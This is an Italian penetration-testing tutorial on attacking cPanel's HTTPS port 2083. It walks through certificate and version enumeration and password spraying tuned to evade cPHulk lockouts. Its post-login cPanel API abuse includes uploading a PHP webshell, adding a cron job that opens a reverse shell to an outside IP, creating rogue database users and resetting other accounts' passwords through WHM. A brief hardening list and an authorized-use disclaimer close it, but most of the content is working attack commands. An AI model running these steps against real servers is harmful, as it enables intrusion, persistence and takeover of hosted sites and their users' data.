networking

Porta 2083 cPanel SSL: Pentest, API e Login HTTPS

Porta 2083 cPanel SSL: Pentest, API e Login HTTPS

Porta 2083 cPanel SSL nel pentest: login HTTPS, TLS enumeration, API cPanel, upload file, automazione post-auth e controlli cPHulk.

  • Pubblicato il 2026-04-13
  • Tempo di lettura: 4 min

Executive Summary — La porta 2083 è la versione SSL/TLS di cPanel — stessa interfaccia della porta 2082, ma con crittografia del traffico. È la porta cPanel usata nella pratica moderna: la 2082 (HTTP) redirige quasi sempre alla 2083. Le tecniche di exploitation post-authentication sono identiche alla 2082 (webshell, cron, terminal, backup), ma la 2083 aggiunge vettori specifici: TLS enumeration del certificato (rivela hostname, dominio, email admin), API cPanel/WHM per automazione degli attacchi e differenze nel brute force (cPHulk, rate limiting HTTPS).

Cos’è la porta 2083 (cPanel HTTPS)

  • Porta 2083 = cPanel su HTTPS — pannello utente standard
  • Stesse tecniche di exploitation della porta 2082 — cambia solo il trasporto (TLS)
  • Il certificato TLS può rivelare informazioni utili (hostname, dominio, email)
  • Le API cPanel (UAPI/API2) permettono di automatizzare la post-exploitation senza interfaccia grafica

Differenze con la Porta 2082 #

AspettoPorta 2082Porta 2083
ProtocolloHTTP (chiaro)HTTPS (TLS)
IntercettazioneCredenziali sniffabiliCrittografato
RedirectSpesso redirige a 2083Destinazione finale
CertificatoN/ARivela info nel Subject/SAN
APIFunziona su entrambePreferita per API calls
Brute forceOverhead bassoTLS handshake rallenta

Per le tecniche di exploitation complete post-authentication (webshell, cron, phpMyAdmin, backup, terminal), vedi la guida porta 2082 — sono identiche.

1. Enumerazione #

Nmap con TLS #

bash
nmap -sV -p 2083 --script=ssl-cert,ssl-enum-ciphers,http-title 10.10.10.40
text
PORT     STATE SERVICE  VERSION
2083/tcp open  ssl/http cPanel httpd
| ssl-cert: Subject: commonName=server.corp-hosting.com
|   Subject Alternative Name: DNS:server.corp-hosting.com, DNS:*.corp-hosting.com
|   Issuer: commonName=cPanel, Inc. Certification Authority
|   Not valid before: 2025-06-01
|   Not valid after:  2026-06-01
|   Serial: 1234567890
| ssl-enum-ciphers:
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
|   TLSv1.3:
|     ciphers:
|       TLS_AES_256_GCM_SHA384 (ecdh_x25519) - A
| http-title: cPanel Login

Certificato TLS — Intelligence #

bash
echo | openssl s_client -connect 10.10.10.40:2083 2>/dev/null | openssl x509 -noout -text
text
Subject: CN = server.corp-hosting.com
Subject Alternative Name:
    DNS:server.corp-hosting.com
    DNS:mail.corp-hosting.com
    DNS:cpanel.corp-hosting.com
    DNS:webdisk.corp-hosting.com
    DNS:webmail.corp-hosting.com
    DNS:cpcalendars.corp-hosting.com
    DNS:cpcontacts.corp-hosting.com
Issuer: CN = cPanel, Inc. Certification Authority

Cosa ottieni dal certificato:

  • Hostname del server: server.corp-hosting.com
  • Domini hostati: i SAN (Subject Alternative Names) rivelano i servizi configurati
  • Provider: cPanel genera certificati automatici — conferma che è cPanel
  • Email admin: a volte presente nel campo emailAddress del Subject

I domini trovati espandono la superficie di attacco. Cerca ognuno per ulteriori vettori: web app su corp-hosting.com, webmail su mail.corp-hosting.com.

Versione cPanel #

bash
curl -sk https://10.10.10.40:2083/login/ | grep -oP 'v[\d.]+'
bash
# Oppure dall'header
curl -sk https://10.10.10.40:2083/ -I | grep Server
text
Server: cpsrvd/11.109.0.18

11.109 → cerca CVE per questa versione su Exploit-DB.

2. Credential Attack sulla 2083 #

Login via curl (HTTPS) #

bash
curl -sk https://10.10.10.40:2083/login/?login_only=1 \
  -d "user=corpsite&pass=Hosting2025!" \
  -c cookies.txt

Risposta successo:

json
{"status":1,"redirect":"/frontend/jupiter/index.html","security_token":"/cpsessABC123"}

Risposta fallimento:

json
{"status":0,"redirect":"/login/?login_only=1","errors":["The login is invalid."]}

Il security_token (/cpsessABC123) è il session token — serve per tutte le chiamate API successive.

Brute force con rate limiting awareness #

cPHulk (il sistema anti-brute force di cPanel) blocca dopo 5-10 tentativi. Strategie:

bash
# Password spray: poche password, molti utenti
hydra -L users.txt -p 'Hosting2025!' \
  10.10.10.40 https-post-form \
  "/login/?login_only=1:user=^USER^&pass=^PASS^:The login is invalid" -t 1 -W 30

Il flag -t 1 usa un solo thread e -W 30 aspetta 30 secondi tra tentativi — evita il blocco.

Session Hijacking (se hai sniffato la 2082) #

Se hai intercettato un cookie dalla porta 2082 (HTTP in chiaro), puoi usarlo sulla 2083:

bash
curl -sk https://10.10.10.40:2083/cpsessABC123/frontend/jupiter/index.html \
  -b "cpsession=TOKEN_INTERCETTATO"

3. cPanel API — Automazione Post-Auth #

Una volta autenticato, puoi usare le API cPanel per automatizzare tutto senza interfaccia grafica. Più veloce, scriptabile, meno tracce nei log web.

Autenticazione API #

bash
# Con username e password
curl -sk -u "corpsite:Hosting2025!" https://10.10.10.40:2083/execute/Email/list_pops
bash
# Con session token (ottenuto dal login)
curl -sk https://10.10.10.40:2083/cpsessABC123/execute/Email/list_pops \
  -b cookies.txt

API — Elenco file (File Manager) #

bash
curl -sk -u "corpsite:Hosting2025!" \
  "https://10.10.10.40:2083/execute/Fileman/list_files?dir=/public_html"

API — Upload file (webshell) #

bash
# Crea il webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/cmd.php

# Upload via API
curl -sk -u "corpsite:Hosting2025!" \
  "https://10.10.10.40:2083/execute/Fileman/upload_files" \
  -F "dir=/public_html" \
  -F "file-1=@/tmp/cmd.php"

API — Crea database e utente MySQL #

bash
# Crea database
curl -sk -u "corpsite:Hosting2025!" \
  "https://10.10.10.40:2083/execute/Mysql/create_database?name=corpsite_hack"

# Crea utente MySQL
curl -sk -u "corpsite:Hosting2025!" \
  "https://10.10.10.40:2083/execute/Mysql/create_user?name=corpsite_hacker&password=HackerP@ss!"

API — Crea cron job (persistence) #

bash
curl -sk -u "corpsite:Hosting2025!" \
  "https://10.10.10.40:2083/execute/Cron/add_line" \
  -d "command=bash -c 'bash -i >%26 /dev/tcp/10.10.10.200/4444 0>%261'" \
  -d "minute=*&hour=*&day=*&month=*&weekday=*"

API — Lista email #

bash
curl -sk -u "corpsite:Hosting2025!" \
  "https://10.10.10.40:2083/execute/Email/list_pops"
json
{
  "data": [
    {"email": "admin@corp-hosting.com", "login": "admin@corp-hosting.com"},
    {"email": "info@corp-hosting.com", "login": "info@corp-hosting.com"}
  ]
}

API — DNS zone #

bash
curl -sk -u "corpsite:Hosting2025!" \
  "https://10.10.10.40:2083/execute/DNS/parse_zone?zone=corp-hosting.com"

Enumera tutti i record DNS del dominio — intelligence per lateral movement e ulteriori target.

4. WHM API (porta 2087) — Se Hai Accesso Admin #

Se hai credenziali WHM (admin/reseller):

bash
# Lista tutti gli account cPanel del server
curl -sk -u "root:RootP@ss!" \
  "https://10.10.10.40:2087/json-api/listaccts"
json
{
  "acct": [
    {"user": "corpsite", "domain": "corp-hosting.com", "ip": "10.10.10.40"},
    {"user": "shopsite", "domain": "shop-example.com", "ip": "10.10.10.40"},
    {"user": "bloguser", "domain": "my-blog.net", "ip": "10.10.10.40"}
  ]
}

Tutti gli account hostati. Per ognuno puoi:

  • Resettare la password
  • Accedere al File Manager
  • Leggere i database
bash
# Reset password di un account cPanel (WHM)
curl -sk -u "root:RootP@ss!" \
  "https://10.10.10.40:2087/json-api/passwd?user=corpsite&password=NewP@ss123!"

5. Hardening #

  • Disabilita porta 2082 (HTTP) — forza solo HTTPS sulla 2083
  • cPHulk attivo con soglie basse (3-5 tentativi)
  • Two-Factor Authentication su tutti gli account cPanel
  • IP whitelist per l’accesso al pannello
  • TLS 1.2+ only — disabilita TLS 1.0/1.1
  • CSF Firewall configurato per bloccare scan e brute force
  • Password policy forte per tutti gli account

6. Cheat Sheet Finale #

AzioneComando
Nmap TLSnmap -sV -p 2083 --script=ssl-cert target
Certificatoopenssl s_client -connect target:2083
Login testcurl -sk https://target:2083/login/?login_only=1 -d "user=X&pass=Y"
API file listcurl -sk -u user:pass https://target:2083/execute/Fileman/list_files?dir=/public_html
API uploadcurl -sk -u user:pass https://target:2083/execute/Fileman/upload_files -F "file-1=@shell.php"
API croncurl -sk -u user:pass https://target:2083/execute/Cron/add_line -d "command=..."
API emailcurl -sk -u user:pass https://target:2083/execute/Email/list_pops
WHM list accountscurl -sk -u root:pass https://target:2087/json-api/listaccts
Versionecurl -sk https://target:2083/ -I | grep Server

Riferimento: cPanel API documentation, cPanel Security Advisories, searchsploit. Uso esclusivo in ambienti autorizzati.

hackita.it/supportohackita.it/servizi.

#cPanel API #TLS Enumeration #cPHulk

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.